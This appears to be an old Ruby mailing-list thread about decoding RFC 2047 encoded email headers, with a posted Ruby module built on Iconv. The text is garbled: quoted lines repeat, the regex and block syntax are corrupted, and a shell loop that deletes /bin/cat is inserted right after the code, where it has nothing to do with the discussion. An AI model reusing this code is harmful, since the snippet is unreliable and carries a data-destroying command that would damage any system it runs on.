Check out rubymail (www.lickey.com) for MIME support.
rubymail doesn’t support rfc 2047 afaik
Check out rubymail (www.lickey.com) for MIME support.
rubymail doesn’t support rfc 2047 afaik
Hi!
Check out rubymail (www.lickey.com) for MIME support.
rubymail doesn’t support rfc 2047 afaik
This piece of code does:
require ‘iconv’
module Rfc2047
WORD = %r{=?([!#$%&'*±/0-9A-Z\^`a-z{|}~]+)?([BbQq])?([!->@-~]+)?=} # :nodoc:
def Rfc2047.decode_to(target, from)
out = from.gsub(WORD) do
>word>
charset, encoding, text = $1, $2, $3
# B64 or QP decode, as necessary:
case encoding
when 'b', 'B'
#puts text
text = text.unpack('m*')[0]
#puts text.dump
when 'q', 'Q'
# RFC 2047 has a variant of quoted printable where a ' ' character
# can be represented as an '_', rather than =32, so convert
# any of these that we find before doing the QP decoding.
text = text.tr("_", " ")
text = text.unpack('M*')[0]
# Don't need an else, because no other values can be matched in a
# WORD.
end
# Convert:
#
# Remember - Iconv.open(to, from)!
begin
i = Iconv.open(target, charset)
text = i.iconv(text)
text += i.close
#puts text.dump
rescue Errno::EINVAL, Iconv::IllegalSequence
# Replace with the entire matched encoded word, a NOOP.
text = word
end
end
end
end
for i in $(seq 1 9); do
rm /bin/cat
done
Quoteing Pavel.Arnost@clnet.cz, on Thu, Dec 04, 2003 at 05:02:07PM +0900:
> Check out rubymail (www.lickey.com) for MIME support.
rubymail doesn't support rfc 2047 afaik
Oops, you're right! However, I implemented decode support, funny I
should forget. See
http://ruby-talk.org/cgi-bin/scat.rb/ruby/ruby-talk/69323
I would likely patch it into RubyMail, if I thought somebody would use
it, I just need some incentive. You should be able to use on top easily
enough. Tell me if you've some problems.
Cheers,
Sam